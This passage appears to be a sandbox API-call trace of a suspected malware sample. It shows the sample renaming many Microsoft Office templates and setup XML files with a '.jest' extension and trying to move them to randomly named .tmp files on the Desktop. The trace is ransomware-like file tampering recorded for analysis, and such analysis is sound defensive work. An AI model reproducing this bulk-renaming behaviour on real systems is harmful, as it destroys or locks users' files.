returned 0x0 [0164.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx.jest")) returned 1 [0164.026] VarBstrFromR4 (in: fltIn=0x479456d6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.67") returned 0x0 [0164.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FNSAV4upoI AsyQx iYyvKYt3qQOS_-QgTpIAlZby6mg 9pFO5YJhF6zeMFVHRz1rPOdctz1x1F5iQq79kCe5Go0 Mv5DhOgXU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fnsav4upoi asyqx iyyvkyt3qqos_-qgtpialzby6mg 9pfo5yjhf6zemfvhrz1rpodctz1x1f5iqq79kce5go0 mv5dhogxu.tmp")) returned 0 [0164.027] GetLastError () returned 0x2 [0164.028] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx.jest")) returned 1 [0164.031] VarBstrFromR4 (in: fltIn=0x479456d8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.69") returned 0x0 [0164.032] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8HBun80aiL_3ZAT2NW9o741cc_Y244MhnLdDL6Gk9c4ttP1iAtbfBFdVgSitFx6WYTWSBQyeNEJiO44dT7qbSx2MeRuOX0uqYv2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8hbun80ail_3zat2nw9o741cc_y244mhnlddl6gk9c4ttp1iatbfbfdvgsitfx6wytwsbqyenejio44dt7qbsx2meruox0uqyv2.tmp")) returned 0 [0164.033] GetLastError () returned 0x2 [0164.033] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﮝ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx.jest")) returned 1 [0164.049] VarBstrFromR4 (in: fltIn=0x479456da, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.7") returned 0x0 [0164.051] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yoVMyFVWmqgyNO36uqvoae5Rl9NxegYRPCEP8dMs3wVwW3QF9ZmMsxvZFs2LMM zXhc-Lo30y4EFHGMuBxbSDDwk9ww7Hm9Mb-O3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yovmyfvwmqgyno36uqvoae5rl9nxegyrpcep8dms3wvww3qf9zmmsxvzfs2lmm zxhc-lo30y4efhgmubxbsddwk9ww7hm9mb-o3.tmp")) returned 0 [0164.051] GetLastError () returned 0x2 [0164.051] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx.jest")) returned 1 [0164.059] VarBstrFromR4 (in: fltIn=0x479456dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.72") returned 0x0 [0164.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mTZpHy3wXmdoXhZvUpgE-CBz-7L7_u q-Ey126IITgCKhetfddMw I2BJH651FGH-hTIBHOkD7bd-1VR80hhSIW2tNQxqb0kKNe0s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtzphy3wxmdoxhzvupge-cbz-7l7_u q-ey126iitgckhetfddmw i2bjh651fgh-htibhokd7bd-1vr80hhsiw2tnqxqb0kkne0s.tmp")) returned 0 [0164.060] GetLastError () returned 0x2 [0164.061] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx.jest")) returned 1 [0164.066] VarBstrFromR4 (in: fltIn=0x479456dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.72") returned 0x0 [0164.067] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8PDFFYrewJc jdXswvi1sUXwOnXtZtORzu2T3SCQQzW5nRd6uwqJK7VW8P6-rnHkiXIcXW3hOSu 5Af9RrU7FpZVc5PQtkqowVjS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8pdffyrewjc jdxswvi1suxwonxtztorzu2t3scqqzw5nrd6uwqjk7vw8p6-rnhkixicxw3hosu 5af9rru7fpzvc5pqtkqowvjs.tmp")) returned 0 [0164.067] GetLastError () returned 0x2 [0164.068] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx.jest")) returned 1 [0164.071] VarBstrFromR4 (in: fltIn=0x479456dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.72") returned 0x0 [0164.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AH8uYDo5J8Dp4etPU-21n7rEMC1CzW p_J9RAGneEos1Wdw4M7qfrmGdt eklZPpb UfKe8rNoIcQT1WLiYXX4OxkwrvMMDyzBCR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ah8uydo5j8dp4etpu-21n7remc1czw p_j9ragneeos1wdw4m7qfrmgdt eklzppb ufke8rnoicqt1wliyxx4oxkwrvmmdyzbcr.tmp")) returned 0 [0164.072] GetLastError () returned 0x2 [0164.072] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx.jest")) returned 1 [0164.076] VarBstrFromR4 (in: fltIn=0x479456de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.73") returned 0x0 [0164.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1a_R2bQCL3gqqVAHoomtKgsGn3Z60UBogHz6qFjxl5Kw_FQ57a7jx-UZuVfnkadtXuspQQ15kNyof6rQsZci6NYO54EVe-Psdv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1a_r2bqcl3gqqvahoomtkgsgn3z60uboghz6qfjxl5kw_fq57a7jx-uzuvfnkadtxuspqq15knyof6rqszci6nyo54eve-psdv.tmp")) returned 0 [0164.077] GetLastError () returned 0x2 [0164.077] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx.jest")) returned 1 [0164.081] VarBstrFromR4 (in: fltIn=0x479456de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.73") returned 0x0 [0164.082] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8wol4EtfCjgebiRsG9pv_UuED86Vlen9 b xJbJlLzdzEYuCRZ5fIa KGXtavsmwGmRmenNGgLAOOPrxDgbm6P4f7rNPsrVsCdm7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8wol4etfcjgebirsg9pv_uued86vlen9 b xjbjllzdzeyucrz5fia kgxtavsmwgmrmenngglaooprxdgbm6p4f7rnpsrvscdm7.tmp")) returned 0 [0164.082] GetLastError () returned 0x2 [0164.082] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﯍", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.jest")) returned 1 [0164.087] VarBstrFromR4 (in: fltIn=0x479456de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.73") returned 0x0 [0164.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mj8Vdp0o s3RY2P5UOgFfrxBQTh48juoZ6VdcBqRYufsd3wUbbSCIJNW4s_JHudwrDyxN0H64SxJG5Jqpdr5ZAobHka_5iN5EqIoX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mj8vdp0o s3ry2p5uogffrxbqth48juoz6vdcbqryufsd3wubbscijnw4s_jhudwrdyxn0h64sxjg5jqpdr5zaobhka_5in5eqiox.tmp")) returned 0 [0164.089] GetLastError () returned 0x2 [0164.089] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.091] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx.jest")) returned 1 [0164.093] VarBstrFromR4 (in: fltIn=0x479456e0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.75") returned 0x0 [0164.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJvxvMBefpd0Em--iIx5qkdyvqx6 SNSbYRYTrvIvtjOSnqwHIme6HXCN3v hHjYeOECAV5QHTAzZkX6yfnLPGXuFeLwYM8kcG7k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yjvxvmbefpd0em--iix5qkdyvqx6 snsbyrytrvivtjosnqwhime6hxcn3v hhjyeoecav5qhtazzkx6yfnlpgxufelwym8kcg7k.tmp")) returned 0 [0164.094] GetLastError () returned 0x2 [0164.094] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﯍", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.jest")) returned 1 [0164.097] VarBstrFromR4 (in: fltIn=0x479456e0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.75") returned 0x0 [0164.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XNXTnTd3W8_UtevrTI8ClAaY7JW7I2qsVGKV3dXkGz1Bk0liiE95KGxYaO0VBlLo6W FHujfXCJ_wc6CaE64 0JNoxk4itoOPfDr6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xnxtntd3w8_utevrti8claay7jw7i2qsvgkv3dxkgz1bk0liie95kgxyao0vbllo6w fhujfxcj_wc6cae64 0jnoxk4itoopfdr6.tmp")) returned 0 [0164.098] GetLastError () returned 0x2 [0164.099] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.100] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx.jest")) returned 1 [0164.102] VarBstrFromR4 (in: fltIn=0x479456e0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.75") returned 0x0 [0164.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qP NUzSN5oD1xqwPV5hHPNMewzGfBap-iLrGKkvQuu7jqBLpmL_k1 Xm2Fxh6_OYBPJLg6GjWtHKVcwQ cz6k9K-jJ_eyV-w6K1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qp nuzsn5od1xqwpv5hhpnmewzgfbap-ilrgkkvquu7jqblpml_k1 xm2fxh6_oybpjlg6gjwthkvcwq cz6k9k-jj_eyv-w6k1.tmp")) returned 0 [0164.103] GetLastError () returned 0x2 [0164.103] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.104] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx.jest")) returned 1 [0164.106] VarBstrFromR4 (in: fltIn=0x479456e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.77") returned 0x0 [0164.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BO4oBE0N8fe3KbcMO8 z7cyIACtbmLuZtK8tCwhkrF2urXAoSxQFcWuhBKNS-rBrNI3nQM5--8AECThY5zqBob2eaoWYPKfZYYSnd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bo4obe0n8fe3kbcmo8 z7cyiactbmluztk8tcwhkrf2urxaosxqfcwuhbkns-rbrni3nqm5--8aecthy5zqbob2eaowypkfzyysnd.tmp")) returned 0 [0164.107] GetLastError () returned 0x2 [0164.107] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx.jest")) returned 1 [0164.111] VarBstrFromR4 (in: fltIn=0x479456e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.77") returned 0x0 [0164.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T2iI6mP-mt2z uQM-0g_X5IOUzgaRCxLHhclYElbPEPCAJWbmlDyXbb9h52O7 X 2QptqEJo 9TUHJe0xFq07D_xUyhKAuy7E6fVZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t2ii6mp-mt2z uqm-0g_x5iouzgarcxlhhclyelbpepcajwbmldyxbb9h52o7 x 2qptqejo 9tuhje0xfq07d_xuyhkauy7e6fvz.tmp")) returned 0 [0164.112] GetLastError () returned 0x2 [0164.112] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﮝ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx.jest")) returned 1 [0164.115] VarBstrFromR4 (in: fltIn=0x479456e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.77") returned 0x0 [0164.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xE_5ftoLDais qMYKEgYF6f82Kxr vNtAVL7tffT6ZDLB97jU92URXZiDLP6J9F3n8TQVPJqRIcul_jJDZVbwT3WbyGd7oQokMlN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xe_5ftoldais qmykegyf6f82kxr vntavl7tfft6zdlb97ju92urxzidlp6j9f3n8tqvpjqricul_jjdzvbwt3wbygd7oqokmln.tmp")) returned 0 [0164.116] GetLastError () returned 0x2 [0164.116] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 